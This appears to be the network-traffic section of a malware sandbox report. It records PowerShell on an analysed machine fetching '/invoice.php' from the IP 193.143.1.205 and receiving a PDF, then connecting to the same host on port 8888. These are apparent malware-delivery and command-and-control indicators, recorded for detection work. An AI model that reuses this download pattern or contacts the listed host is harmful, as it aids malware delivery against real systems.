Jan 11, 2025 06:18:52.900803089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900825977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900911093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900923014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900937080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900949001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900962114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900966883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900974035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900994062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.901024103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.919869900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.919905901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.919944048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.919964075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.919980049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.920016050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.920031071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.920054913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.920092106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.920109034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953345060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953402996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953435898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953437090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953491926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953494072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953528881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953588009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953588963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953643084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953679085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953694105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953713894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953749895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953764915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953804016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953854084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953861952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953895092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953931093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.953948975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.953984976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954020977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954029083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954055071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954090118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954113960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954133034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954169035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954185963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954204082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954240084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954263926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954272985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954308033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954323053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954344034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954380035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954396963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954413891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954452038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954463959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.954487085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954525948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.954551935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.987818956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.987910986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.987914085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.987968922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988004923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988023043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988063097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988104105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988116026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988142014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988176107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988193989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988214970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988250017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988276005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988286972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988339901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988349915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988373041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988409042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988425970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988445997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988493919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988504887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988540888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988579988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988593102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988635063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988670111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988687038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988704920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988739967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988758087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988794088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988828897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988847971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988864899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988898993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988913059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.988953114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.988986969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989005089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989026070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989063978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989078999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989098072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989131927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989149094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989166975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989202023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989218950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989237070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989274979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989291906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989310980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989346027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989381075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989381075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989415884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989425898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989460945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989494085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989507914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989530087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989563942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989578009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989598989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989633083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989650965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989669085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989703894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989717007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989738941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989775896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989789963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989813089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989845991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989862919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989881992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989916086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989933968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.989952087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.989985943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990004063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990024090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990058899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990073919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990094900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990128994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990144968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990165949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990200043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990216970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990233898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990269899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990279913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990307093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990341902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990355968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990380049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990413904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990432978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990449905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990485907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990494013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990523100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990556955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990573883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.990592003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990628958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.990641117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.003731966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041035891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041058064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041081905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041095972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041119099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041121006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041131973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041138887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041146994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041162014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041174889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041188955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041201115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041203022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041218996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041224003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041229963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041265965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041276932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041290998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041384935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041398048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041410923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041424036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041438103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041462898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041476011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041488886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041503906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041516066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041531086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041553974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041573048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041589022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041599035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041619062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041635036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041640043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041646957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.041663885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.041685104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.074552059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074599981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074660063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074698925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074733019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.074748039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074780941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.074785948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074842930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.074855089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074909925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074960947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.074982882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.074995995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075031042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075043917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075066090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075100899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075119972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075135946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075184107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075187922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075226068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075256109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075275898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075289965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075335026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075361013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075395107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075428963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075444937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075462103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075495958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075515032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075536013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075572014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075592041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.075604916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075642109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:53.075658083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.126226902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.351289034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:53.599117041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:54.120316029 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:54.135611057 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:54.135761023 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:54.135977983 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:54.140996933 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:54.963078022 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:55.016746044 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:56.429784060 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 06:20:56.521981001 CET	60665	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:20:56.526894093 CET	53	60665	1.1.1.1	192.168.2.6
Jan 11, 2025 06:20:56.527018070 CET	60665	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:20:56.527018070 CET	60665	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:20:56.531940937 CET	53	60665	1.1.1.1	192.168.2.6
Jan 11, 2025 06:20:56.974893093 CET	53	60665	1.1.1.1	192.168.2.6
Jan 11, 2025 06:20:56.980948925 CET	60665	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:20:56.986124039 CET	53	60665	1.1.1.1	192.168.2.6
Jan 11, 2025 06:20:56.986236095 CET	60665	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:19:01.880419970 CET	57541	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:20:56.521461964 CET	53	53912	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:19:01.880419970 CET	192.168.2.6	1.1.1.1	0x92a1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:19:01.888936996 CET	1.1.1.1	192.168.2.6	0x92a1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	1492	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:18:51.529690981 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:18:52.327199936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:18:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:18:52.327229023 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
